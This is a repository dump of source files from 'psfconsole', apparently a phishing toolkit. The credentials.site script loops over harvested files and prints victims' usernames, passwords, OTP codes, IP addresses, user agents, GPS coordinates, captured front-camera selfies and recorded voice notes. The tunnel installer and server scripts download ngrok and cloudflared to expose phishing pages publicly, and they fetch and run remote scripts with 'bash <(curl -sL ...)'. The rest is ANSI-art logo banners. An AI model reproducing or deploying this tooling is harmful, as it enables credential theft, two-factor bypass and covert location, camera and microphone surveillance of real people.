if [[ ${android} == "Android" ]] 29 | then 30 | link="https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip" 31 | file="ngrok-2.2.8-linux-arm64.zip" 32 | 33 | # elif [[ ${linux} == "Linux" || ${arch} == *"arm"* ]] 34 | # then 35 | # link="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip" 36 | # file="ngrok-stable-linux-arm.zip" 37 | 38 | elif [[ ${arch} == "arm64" ]] 39 | then 40 | link="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip" 41 | file="ngrok-stable-linux-arm64.zip" 42 | 43 | elif [[ ${arch} == "amd64" ]] 44 | then 45 | link="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip" 46 | file="ngrok-stable-linux-amd64.zip" 47 | 48 | else 49 | link="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip" 50 | file="ngrok-stable-linux-386.zip" 51 | fi 52 | 53 | if [[ ${android} == *"Android"* ]]; then 54 | link1='https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' 55 | 56 | elif [[ "$arch" == *'aarch64'* ]]; then 57 | link1='https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' 58 | 59 | elif [[ "$arch" == *'amd64'* ]]; then 60 | link1='https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' 61 | 62 | else 63 | link1='https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386' 64 | fi 65 | 66 | echo -e "Tunnel services Not Found Need to Download." 67 | 68 | if [[ ! $__return__ == 105 ]];then 69 | source $(psfconsole -dir)/assets/programs/download.psf "ngrok" ${link} -o ${DIR}/server 70 | if [[ $? -gt 0 ]] 71 | then 72 | exit 1 73 | fi 74 | 75 | unzip $file &> /dev/null 76 | chmod +x ngrok &> /dev/null 77 | rm -rf $file &> /dev/null 78 | 79 | source $(psfconsole -dir)/assets/programs/download.psf "cloudflare" ${link1} -o ${DIR}/server 80 | mv cloudflared-linux* cloudflared &> /dev/null 81 | chmod +x cloudflared &> /dev/null 82 | 83 | else 84 | source <(curl -sLo- "${RAWLINK}/${PWF}/download.psf") "ngrok" ${link} 85 | 86 | if [[ $? -gt 0 ]] 87 | then 88 | exit 1 89 | fi 90 | 91 | unzip $file &> /dev/null 92 | chmod +x ngrok &> /dev/null 93 | rm -rf $file &> /dev/null 94 | 95 | source <(curl -sLo- "${RAWLINK}/${PWF}/download.psf") "cloudflare" ${link1} 96 | mv cloudflared-linux* cloudflared &> /dev/null 97 | chmod +x cloudflared &> /dev/null 98 | fi 99 | fi 100 | -------------------------------------------------------------------------------- /assets/logos/logo.6: -------------------------------------------------------------------------------- 1 | 2 | 3 | SL() { 4 | sleep 0.01 5 | } 6 | 7 | printf "\e[0m\e[0m _____________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m A Friendly Interface Ever !\e[92m />\e[0m\n";SL 9 | printf "\e[0m ----------------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;214m▄▄\e[48;5;214m█\e[48;5;179m▀\e[48;5;233m▀\e[0m \e[38;5;214m▀\e[48;5;214m██\e[48;5;233m▄▄\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;208;48;5;215m▄\e[48;5;214m▄\e[48;5;208m█\e[38;5;172;48;5;233m▀\e[0m \e[38;5;208;48;5;237m▀\e[48;5;214m▄▄\e[38;5;178m▀\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;166;48;5;173m▄\e[38;5;208;48;5;208m█▀▀\e[0m \e[38;5;208;48;5;208m█▀\e[38;5;166m▄\e[38;5;52;48;5;131m▀\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;16m▀\e[38;5;166;48;5;166m \e[38;5;202m▀\e[48;5;202m█\e[48;5;166m▀\e[38;5;124;48;5;233m▄\e[38;5;202m▄\e[38;5;16;48;5;131m▀\e[0m \e[38;5;208m▄▄▄▄▄▄▄▄\e[0m \e[38;5;130m▄\e[38;5;202m▄\e[38;5;124m▄\e[48;5;202m▄\e[38;5;202m█\e[48;5;166m▀\e[38;5;166m \e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;124;48;5;52m▀\e[48;5;124m█\e[38;5;88;48;5;167m▀\e[38;5;124;48;5;202m▄▄\e[38;5;202m \e[38;5;124m▄\e[38;5;166;48;5;166m \e[38;5;160;48;5;208m▄\e[38;5;202;48;5;202m \e[38;5;160;48;5;208m▄\e[38;5;166;48;5;166m▄\e[38;5;124;48;5;202m▄\e[38;5;202m \e[38;5;124m▄▄\e[38;5;88;48;5;166m▀\e[38;5;124;48;5;124m█\e[48;5;234m▀\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;131m▄\e[38;5;167m▄\e[38;5;124;48;5;173m▀\e[38;5;166;48;5;124m▄\e[38;5;160;48;5;160m█\e[38;5;124m▀\e[38;5;88m▀\e[48;5;124m▀\e[38;5;202;48;5;202m \e[38;5;124;48;5;203m▄\e[48;5;124m█\e[48;5;202m▄\e[38;5;196m▄▄\e[38;5;124m▄\e[38;5;160;48;5;160m█\e[38;5;202;48;5;202m▀ \e[38;5;88;48;5;124m▀\e[48;5;160m▀\e[38;5;124m▀\e[38;5;160m█\e[38;5;52;48;5;167m▀\e[38;5;124;48;5;173m▀\e[38;5;131;48;5;233m▄\e[38;5;167m▄\e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;16;48;5;160m▄\e[38;5;124;48;5;124m \e[48;5;160m▀\e[48;5;124m▀▀\e[48;5;88m▀\e[38;5;88;48;5;161m▀\e[38;5;124;48;5;232m▀\e[48;5;124m█\e[38;5;160;48;5;160m \e[38;5;203m▀\e[38;5;124;48;5;124m▀\e[48;5;88m▀\e[38;5;166;48;5;160m▀\e[38;5;160m \e[38;5;124;48;5;202m▄\e[38;5;166;48;5;233m▀\e[38;5;88;48;5;161m▀\e[38;5;124;48;5;88m▀\e[48;5;124m▀▀\e[48;5;160m▀\e[38;5;88m▀\e[38;5;16m▄\e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;88m▀▀\e[38;5;52m▀\e[48;5;232m▀\e[38;5;125;48;5;125m█ \e[38;5;232m▀\e[38;5;88;48;5;53m▀\e[38;5;160;48;5;124m▄\e[48;5;202m▄▄\e[38;5;124;48;5;160m▄\e[38;5;52;48;5;124m▄\e[38;5;16;48;5;125m▀\e[38;5;125m █\e[38;5;52;48;5;233m▀▀\e[38;5;88m▀▀\e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;53;48;5;126m▄\e[38;5;125;48;5;125m▄\e[48;5;89m▀\e[48;5;125m \e[38;5;161;48;5;161m \e[38;5;125;48;5;125m \e[48;5;89m▀\e[48;5;125m▄\e[38;5;89;48;5;89m▀\e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;89;48;5;53m▀\e[38;5;127m▄\e[38;5;53m▀\e[38;5;90;48;5;90m \e[38;5;89;48;5;53m▀\e[38;5;127m▄\e[38;5;89m▀\e[0m \e[0m\n";SL 22 | printf "\e[0m \e[38;5;91;48;5;55m▀\e[48;5;17m▀\e[38;5;19;48;5;134m▄\e[48;5;56m▄▄\e[48;5;134m▄\e[38;5;90;48;5;17m▀\e[38;5;91;48;5;55m▀\e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;18;48;5;17m▀\e[48;5;24m▀\e[48;5;25m▀▀\e[48;5;18m▀\e[48;5;17m▀\e[0m \e[0m\n";SL 24 | printf "\e[0m \e[0m\n";SL 25 | printf "\e[0m \e[0m\n";SL 26 | -------------------------------------------------------------------------------- /assets/programs/credentials.site: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | user_data() { 4 | #random_ip=$(shuf -i 0-1 -n 1) 5 | if [ -f "ip.txt" ] 6 | then 7 | ip=$(cat ip.txt | awk NR==2 | cut -d " " -f2) 8 | fetch=$(cat ip.txt | awk NR==3) 9 | user=$(printf "${fetch# User-Agent:}") 10 | 11 | echo -e "${g0SIGN} IP Address : ${ip}" 12 | echo -e "${g0SIGN} User Agent :${user}\n" 13 | fi 14 | rm ip.txt &> /dev/null 15 | } 16 | 17 | Ocredentials() { 18 | user=$(grep -o 'Username:.*' log.txt | awk NR==1 | cut -d " " -f2) 19 | pass=$(grep -o 'Pass:.*' log.txt | awk NR==1 | cut -d ":" -f2) 20 | otp=$(grep -o 'OTP:.*' log.txt | awk NR==1 | cut -d " " -f2) 21 | 22 | if [[ ! ${#user} == 0 ]] 23 | then 24 | echo -e "${g0SIGN} Username : ${user}" 25 | fi 26 | 27 | if [[ ! ${#pass} == 0 ]] 28 | then 29 | if [[ ! ${pass} == " " ]] 30 | then 31 | echo -e "${g0SIGN} Password :${pass}" 32 | fi 33 | fi 34 | 35 | if [[ ! ${#otp} == 0 ]] 36 | then 37 | if [[ ! ${otp} == " " ]] 38 | then 39 | echo -e "${g0SIGN} Otp Code : ${otp}\n" 40 | fi 41 | fi 42 | rm log.txt &> /dev/null 43 | } 44 | 45 | function OcredentialLoop () { 46 | while true 47 | do 48 | if [ -f "ip.txt" ] 49 | then 50 | user_data 51 | fi 52 | if [ -f "log.txt" ] 53 | then 54 | Ocredentials 55 | fi 56 | done 57 | } 58 | 59 | credentials() { 60 | user=$(grep -o 'Username:.*' usernames.txt | awk NR==1 | cut -d " " -f2) 61 | pass=$(grep -o 'Pass:.*' usernames.txt | awk NR==1 | cut -d ":" -f2) 62 | 63 | if [[ ! ${#user} == 0 ]] 64 | then 65 | echo -e "${g0SIGN} Username : ${user}" 66 | fi 67 | 68 | if [[ ! ${#pass} == 0 ]] 69 | then 70 | if [[ ! ${pass} == " " ]] 71 | then 72 | echo -e "${g0SIGN} Password :${pass}\n" 73 | fi 74 | fi 75 | rm usernames.txt &> /dev/null 76 | } 77 | 78 | function credentialLoop () { 79 | while true 80 | do 81 | if [ -f "ip.txt" ] 82 | then 83 | user_data 84 | fi 85 | if [ -f "usernames.txt" ] 86 | then 87 | credentials 88 | fi 89 | done 90 | } 91 | 92 | Gcredentials() { 93 | latitude=$(cat result.txt | cut -d '"' -f6) 94 | longitude=$(cat result.txt | cut -d '"' -f10) 95 | 96 | if [ -f "info.txt" ] 97 | then 98 | info=$(sed "s/,/, /g" info.txt | tr -d '{}"[]\\') 99 | fi 100 | 101 | if [[ ! ${#info} == 0 ]] 102 | then 103 | echo -e "${g0SIGN} Information : ${info}\n" 104 | fi 105 | 106 | if [[ ! ${#latitude} == 0 || ! ${#longitude} == 0 ]] 107 | then 108 | echo -e "${g0SIGN} Latitude : ${latitude}" 109 | echo -e "${g0SIGN} Longitude : ${longitude}" 110 | echo -e "${g0SIGN} Coordinate : ${latitude},${longitude}\n" 111 | echo -e "${g0SIGN} Google Maps : ${R4}https://www.google.com/maps/place/${latitude}+${longitude}${R0}\n" 112 | fi 113 | rm result.txt &> /dev/null 114 | rm info.txt &> /dev/null 115 | } 116 | 117 | function GcredentialLoop () { 118 | while true 119 | do 120 | if [[ -f "result.txt" ]] 121 | then 122 | Gcredentials 123 | fi 124 | done 125 | } 126 | 127 | 128 | Ccredentials() { 129 | echo -e "${g0SIGN} Front Selfie Captured ! ~$HOME/captured\n" 130 | rm -rf Log.log &> /dev/null 131 | } 132 | 133 | function CcredentialLoop () { 134 | while true 135 | do 136 | if [ -f "ip.txt" ] 137 | then 138 | user_data 139 | break 140 | fi 141 | done 142 | 143 | while true 144 | do 145 | if [ -f "Log.log" ] 146 | then 147 | cp -rf captured $HOME &> /dev/null 148 | Ccredentials 149 | fi 150 | done 151 | } 152 | 153 | 154 | Mcredentials() { 155 | if [[ ! -d "$HOME/recorded" ]] 156 | then 157 | mkdir -p $HOME/recorded 158 | fi 159 | 160 | if [ -f *".wav" ] 161 | then 162 | mv *.wav $HOME/recorded &> /dev/null 163 | echo -e "${g0SIGN} Voice Note Recorded ! ~$HOME/recorded\n" 164 | fi 165 | } 166 | 167 | function McredentialLoop () { 168 | while true 169 | do 170 | if [ -f "ip.txt" ] 171 | then 172 | user_data 173 | break 174 | fi 175 | done 176 | 177 | while true 178 | do 179 | Mcredentials 180 | done 181 | } 182 | -------------------------------------------------------------------------------- /assets/logos/logo.4: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\e[0m\e[0m ____________________________ \e[0m\n";SL 7 | printf "\e[92m<\e[0m The King of Pentesting !!!\e[92m />\e[0m\n";SL 8 | printf "\e[0m ---------------------------- \e[0m\e[00m\n";SL 9 | printf "\e[0m \e[0m\n";SL 10 | printf "\e[0m \e[38;5;179;48;5;233m▄\e[38;5;185;48;5;185m \e[0m \e[0m\n";SL 11 | printf "\e[0m \e[38;5;179m▄\e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▄\e[0m \e[38;5;179m▀▀\e[0m \e[38;5;179m▄▄▄\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;179m▀\e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▀\e[0m \e[38;5;53m▄▄\e[48;5;53m███\e[0m \e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▄\e[0m \e[38;5;53;48;5;53m██\e[48;5;237m▄\e[48;5;16m▄\e[0m \e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▀\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▄\e[0m \e[38;5;53m▀\e[48;5;53m█\e[48;5;16m▀\e[0m \e[38;5;185;48;5;185m \e[0m \e[38;5;53m▀\e[48;5;235m▀\e[48;5;53m█\e[48;5;16m▀\e[0m \e[38;5;179m▄\e[38;5;58;48;5;185m▄\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▄\e[0m \e[38;5;179m▄\e[0m \e[38;5;185;48;5;185m \e[38;5;179;48;5;16m▄\e[0m \e[38;5;179m▄\e[0m \e[38;5;185;48;5;185m \e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;185;48;5;185m \e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;179m▀▀▀▀\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;53m▄\e[0m \e[38;5;231m▀▀\e[48;5;231m \e[48;5;16m▄\e[38;5;233m▄\e[38;5;231m▄\e[48;5;231m \e[38;5;239m▄\e[38;5;231;48;5;16m▀▀\e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;53m▄\e[48;5;53m█\e[0m \e[38;5;231m▀\e[48;5;231m \e[48;5;16m▀\e[0m \e[38;5;53;48;5;53m█\e[48;5;16m▄\e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;53m▄\e[48;5;53m███\e[0m \e[38;5;231m▀▀▀\e[48;5;231m \e[0m \e[38;5;231m▀\e[48;5;231m \e[48;5;16m▀▀\e[0m \e[38;5;53;48;5;53m██\e[48;5;16m▄\e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;53m▄\e[48;5;53m██\e[0m \e[38;5;53;48;5;53m██\e[48;5;16m▄\e[0m \e[38;5;231m▀▀\e[0m \e[38;5;53;48;5;53m██\e[0m \e[38;5;53;48;5;53m██\e[48;5;16m▄\e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;53m▀▀▀\e[0m \e[38;5;53;48;5;53m███\e[0m \e[38;5;53;48;5;53m██\e[48;5;16m▀▀\e[48;5;53m████\e[48;5;16m▀\e[48;5;53m██\e[0m \e[38;5;53;48;5;53m██\e[0m \e[38;5;53;48;5;53m███\e[0m \e[0m\n";SL 22 | printf "\e[0m \e[38;5;53;48;5;53m██\e[0m \e[38;5;53m▀▀\e[0m \e[38;5;231m▄▄▄▄\e[48;5;231m \e[0m \e[38;5;53m▀\e[48;5;53m█\e[0m \e[38;5;53;48;5;237m▀\e[48;5;53m█\e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;53;48;5;53m███\e[0m \e[38;5;231;48;5;231m \e[0m \e[38;5;231m▀▀▀▀▀\e[0m \e[38;5;53m▄▄\e[48;5;53m█\e[0m \e[0m\n";SL 24 | printf "\e[0m \e[38;5;53;48;5;53m███\e[0m \e[38;5;231m▀\e[48;5;231m \e[48;5;16m▀▀▀\e[0m \e[38;5;53;48;5;53m███\e[0m \e[0m\n";SL 25 | printf "\e[0m \e[38;5;53;48;5;53m█████\e[48;5;16m▄▄\e[0m \e[38;5;53m▄\e[48;5;53m█\e[48;5;16m▄\e[0m \e[38;5;53m▄▄\e[48;5;53m█\e[48;5;16m▀\e[48;5;53m███\e[0m \e[0m\n";SL 26 | printf "\e[0m \e[38;5;53m▀\e[48;5;53m███████\e[48;5;16m▄\e[48;5;53m██████\e[0m \e[38;5;53;48;5;53m██\e[48;5;16m▀\e[0m \e[0m\n";SL 27 | printf "\e[0m \e[38;5;53m▀\e[48;5;53m███████████\e[48;5;16m▀\e[0m \e[38;5;53m▀\e[0m \e[0m\n";SL 28 | printf "\e[0m \e[38;5;53;48;5;53m█████████\e[0m \e[0m\n";SL 29 | printf "\e[0m \e[38;5;53m▀\e[48;5;53m███████\e[0m \e[0m\n";SL 30 | printf "\e[0m \e[38;5;53m▀\e[48;5;53m███\e[48;5;16m▀\e[0m \e[0m\n";SL 31 | printf "\e[0m \e[38;5;53m▀\e[0m \e[0m\n";SL 32 | printf "\e[0m \e[0m\n";SL 33 | -------------------------------------------------------------------------------- /assets/logos/logo.5: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\e[0m\e[0m __________________________________ \e[0m\n";SL 7 | printf "\e[92m<\e[0m Don't Underestimate Psfconsole !\e[92m />\e[0m\n";SL 8 | printf "\e[0m ---------------------------------- \e[0m\e[00m\n";SL 9 | printf "\e[0m \e[0m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[38;5;172m▄\e[38;5;208m▄\e[38;5;214m▄▄\e[38;5;220m▄▄\e[38;5;124m▄\e[38;5;166m▄\e[38;5;208m▄\e[38;5;214m▄▄▄\e[38;5;220m▄▄▄\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;202m▄\e[38;5;208;48;5;208m████\e[38;5;214;48;5;214m ▄▄\e[38;5;227;48;5;220m▄\e[38;5;124m▄\e[38;5;202;48;5;167m▄\e[48;5;209m▄\e[38;5;208;48;5;208m█\e[48;5;214m▄\e[38;5;214m▀▀▀\e[48;5;233m▀\e[38;5;136m▀\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[48;5;203m\e[38;5;203m \e[38;5;124m▀\e[38;5;202;48;5;202m█\e[48;5;209m▀\e[38;5;208;48;5;208m███\e[48;5;214m▀\e[38;5;214;48;5;208m▄\e[38;5;172;48;5;161m▀\e[38;5;124;48;5;124m█\e[38;5;160;48;5;203m▀\e[38;5;202;48;5;167m▄\e[38;5;166;48;5;166m██\e[48;5;208m▀\e[38;5;130;48;5;214m▀\e[38;5;208;48;5;238m▄\e[38;5;16;48;5;233m▀\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;161m▄\e[38;5;203;48;5;203m \e[38;5;161m▄\e[38;5;160m▄\e[38;5;202;48;5;167m▀▀\e[48;5;215m▀\e[38;5;208;48;5;208m█\e[38;5;166;48;5;214m▀\e[48;5;221m▀\e[38;5;172;48;5;161m▀\e[38;5;161m█\e[38;5;203;48;5;203m \e[38;5;166m▀\e[48;5;166m█\e[48;5;237m▀\e[48;5;233m▀\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;89;48;5;203m▄\e[38;5;197;48;5;197m█\e[38;5;161;48;5;203m▄\e[38;5;203;48;5;162m▀\e[48;5;125m▀\e[38;5;161;48;5;203m▄\e[38;5;89m▄\e[48;5;209m▄\e[38;5;166;48;5;125m▀\e[48;5;161m▀\e[38;5;161m▄\e[38;5;197;48;5;197m▄\e[38;5;161m▀\e[38;5;197m█\e[38;5;160;48;5;203m▄\e[38;5;203m \e[38;5;202m▀\e[38;5;166;48;5;17m▀\e[48;5;233m▀\e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;53m▄\e[38;5;161;48;5;161m█\e[38;5;198;48;5;126m▀\e[38;5;161;48;5;169m▀\e[38;5;53;48;5;162m▀\e[38;5;125;48;5;90m▀\e[38;5;126;48;5;126m█\e[38;5;127;48;5;233m▀\e[0m \e[38;5;16;48;5;161m▄\e[48;5;197m▄\e[38;5;197m ▀█\e[38;5;88;48;5;203m▄\e[38;5;160;48;5;233m▀\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;53m▀\e[38;5;168;48;5;90m▀\e[38;5;126;48;5;162m▄\e[38;5;90;48;5;90m \e[38;5;126;48;5;126m█\e[38;5;90;48;5;90m \e[38;5;126;48;5;127m▀\e[38;5;54;48;5;54m▄\e[38;5;55;48;5;92m▄▄\e[48;5;56m▀\e[38;5;18;48;5;32m▄\e[38;5;32m \e[38;5;24;48;5;38m▀\e[38;5;38m \e[38;5;37;48;5;17m▄\e[38;5;23;48;5;233m▄\e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;53;48;5;90m▄\e[38;5;126;48;5;126m█\e[38;5;90;48;5;90m \e[38;5;126;48;5;127m▀\e[38;5;90;48;5;90m \e[38;5;127;48;5;127m \e[38;5;17;48;5;17m█\e[38;5;18;48;5;56m▄\e[48;5;18m█\e[38;5;17;48;5;55m▄\e[38;5;27;48;5;27m \e[38;5;26;48;5;26m \e[38;5;33;48;5;33m \e[38;5;32;48;5;26m▀▀▀\e[48;5;32m▀▀\e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;90;48;5;91m▀\e[38;5;54;48;5;54m \e[38;5;90;48;5;91m▀\e[48;5;128m▀\e[48;5;91m▀\e[38;5;128;48;5;128m \e[38;5;91;48;5;170m▄\e[38;5;17;48;5;17m█\e[38;5;18;48;5;18m▀\e[38;5;17;48;5;17m█\e[38;5;26;48;5;26m \e[38;5;16m▄▄\e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;234;48;5;234m \e[38;5;54;48;5;233m▀\e[48;5;128m▄\e[38;5;97;48;5;91m▄\e[38;5;91m \e[38;5;128;48;5;128m \e[38;5;91m▀\e[38;5;17;48;5;19m▀\e[48;5;17m█\e[38;5;16;48;5;26m▄\e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;54m▀\e[38;5;55;48;5;55m▄ \e[48;5;91m▀\e[38;5;92;48;5;92m \e[38;5;17;48;5;135m▀\e[0m \e[0m\n";SL 22 | printf "\e[0m \e[38;5;54m▀\e[38;5;55;48;5;55m ▀\e[38;5;16;48;5;92m▀\e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;17;48;5;17m \e[38;5;54;48;5;233m▀\e[38;5;55;48;5;55m▀\e[38;5;54;48;5;233m▄\e[0m \e[0m\n";SL 24 | printf "\e[0m \e[38;5;54m▀\e[0m \e[38;5;17m \e[0m\n";SL 25 | printf "\e[0m \e[0m\n";SL 26 | printf "\e[0m \e[0m\n";SL 27 | -------------------------------------------------------------------------------- /assets/logos/logo.8: -------------------------------------------------------------------------------- 1 | 2 | 3 | SL() { 4 | sleep 0.01 5 | } 6 | 7 | printf "\e[0m\e[0m __________________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m PSFCONSOLE by Ankush Bhagat\e[92m />\e[0m\n";SL 9 | printf "\e[0m ---------------------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[38;5;16m▀\e[38;5;160m▄\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;172;48;5;220m▄\e[38;5;160m▀\e[48;5;235m▄\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;172;48;5;172m█\e[38;5;220;48;5;220m \e[38;5;228m▀\e[38;5;160;48;5;160m█\e[38;5;196;48;5;235m▄\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;172;48;5;172m██\e[38;5;220;48;5;220m \e[38;5;221;48;5;229m▄\e[38;5;202;48;5;202m \e[38;5;88;48;5;236m▄\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;16m▄\e[0m \e[38;5;16;48;5;124m▀\e[0m \e[38;5;52m▄\e[38;5;172;48;5;172m██\e[38;5;220;48;5;220m \e[38;5;166;48;5;166m██\e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;16;48;5;220m▀\e[38;5;172;48;5;235m▀\e[0m \e[38;5;16;48;5;124m▀\e[38;5;166;48;5;166m█\e[0m \e[38;5;16m▄\e[38;5;172;48;5;172m███\e[38;5;220;48;5;220m \e[38;5;166;48;5;166m██\e[0m \e[38;5;16;48;5;220m▀\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;196;48;5;214m▄\e[38;5;166;48;5;235m▀▀\e[38;5;16;48;5;124m▀▀\e[38;5;124m ▄\e[38;5;160;48;5;202m▄\e[0m \e[38;5;166m▄▀▀\e[48;5;166m█\e[38;5;172;48;5;172m█\e[38;5;220;48;5;220m \e[38;5;166;48;5;166m██\e[38;5;16;48;5;220m▀\e[38;5;220m \e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;16m▄\e[38;5;52;48;5;124m▀\e[38;5;124m \e[38;5;160m▄\e[48;5;160m█\e[38;5;52;48;5;235m▄\e[0m \e[38;5;166m▄\e[48;5;166m██\e[38;5;208;48;5;214m▀\e[38;5;214m▀\e[48;5;220m▄\e[38;5;166m▀\e[38;5;220m \e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;160m▀▀\e[48;5;160m███\e[48;5;235m▄▄\e[38;5;166;48;5;202m▀\e[48;5;166m████\e[38;5;214;48;5;214m ▀▀▀\e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;16m▄\e[48;5;235m▀\e[0m \e[38;5;16;48;5;124m▄\e[38;5;124m \e[38;5;160m▀\e[48;5;160m███\e[48;5;202m▄\e[38;5;166m▀\e[48;5;166m██\e[38;5;214;48;5;214m \e[38;5;166m▄▄\e[38;5;214m \e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;124;48;5;124m \e[0m \e[38;5;124;48;5;124m \e[38;5;16m▀\e[38;5;52;48;5;235m▀\e[38;5;124;48;5;124m \e[38;5;160;48;5;160m████\e[38;5;202;48;5;202m \e[38;5;166;48;5;214m▄\e[48;5;166m███\e[48;5;214m▀\e[38;5;214m \e[38;5;16;48;5;178m▄\e[0m \e[0m\n";SL 22 | printf "\e[0m \e[38;5;16m▀\e[0m \e[38;5;16;48;5;124m▀\e[38;5;124m ▄\e[38;5;160m▄▄\e[48;5;160m████\e[38;5;131;48;5;202m▄\e[38;5;202m \e[38;5;166;48;5;166m█\e[48;5;214m▀\e[38;5;214m \e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;160m▄\e[48;5;160m████\e[48;5;224m▀\e[38;5;217;48;5;124m▀\e[38;5;124m █\e[38;5;160;48;5;160m█\e[38;5;208;48;5;202m▄\e[38;5;94;48;5;214m▄\e[38;5;16m▄\e[0m \e[38;5;166m▄\e[38;5;172;48;5;214m▀\e[0m \e[0m\n";SL 24 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;160;48;5;160m███\e[48;5;218m▀\e[38;5;217;48;5;124m▀\e[38;5;124m \e[38;5;16m▄\e[38;5;233;48;5;235m▄\e[38;5;160m▀\e[38;5;208m▀\e[38;5;16m▀\e[0m \e[38;5;166m▄▄\e[48;5;166m█\e[38;5;172;48;5;214m▀\e[38;5;222;48;5;235m▀\e[0m \e[0m\n";SL 25 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;160m▄\e[48;5;160m██\e[38;5;124;48;5;124m█\e[38;5;88;48;5;160m▀\e[48;5;235m▀\e[0m \e[38;5;16m▄\e[38;5;196m▄\e[38;5;166;48;5;214m▀▀\e[38;5;214m \e[38;5;16m▄\e[0m \e[0m\n";SL 26 | printf "\e[0m \e[38;5;124;48;5;124m \e[38;5;160m▀\e[48;5;160m█\e[48;5;218m▀\e[38;5;124;48;5;124m█\e[0m \e[38;5;16;48;5;220m▄\e[48;5;178m▄\e[0m \e[0m\n";SL 27 | printf "\e[0m \e[38;5;16;48;5;124m▄\e[38;5;124m \e[38;5;160;48;5;160m██\e[0m \e[0m\n";SL 28 | printf "\e[0m \e[38;5;16;48;5;124m▄\e[38;5;160m▀\e[48;5;235m▀\e[0m \e[0m\n";SL 29 | printf "\e[0m \e[0m\n";SL 30 | printf "\e[0m \e[0m\n";SL 31 | -------------------------------------------------------------------------------- /programs/LOCAL/SERVER/server: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | SCRIPT_PATH=$(pwd) 4 | 5 | if [[ ${input} != "1" ]] 6 | then 7 | if [[ ! $__return__ == 105 ]];then 8 | bash ${CWD}/assets/programs/tunnel.installer 9 | else 10 | cd $TMPDIR 11 | if [ ! -d "$TMPDIR/server" ] 12 | then 13 | mkdir -p ${TMPDIR}/server 14 | fi 15 | bash <(curl -sL "${RAWLINK}/assets/programs/tunnel.installer") 16 | fi 17 | fi 18 | 19 | CLR() { 20 | printf " \r" 21 | } 22 | 23 | net_check() { 24 | connection="$(curl -Is http://www.google.com &> /dev/null; echo $?)" 25 | if [[ "$connection" != 0 ]] 26 | then 27 | printf "\e[94m(\e[0m>\e[94m)\e[0m Tunnel error, debug: connection\n" 28 | exit 29 | fi 30 | 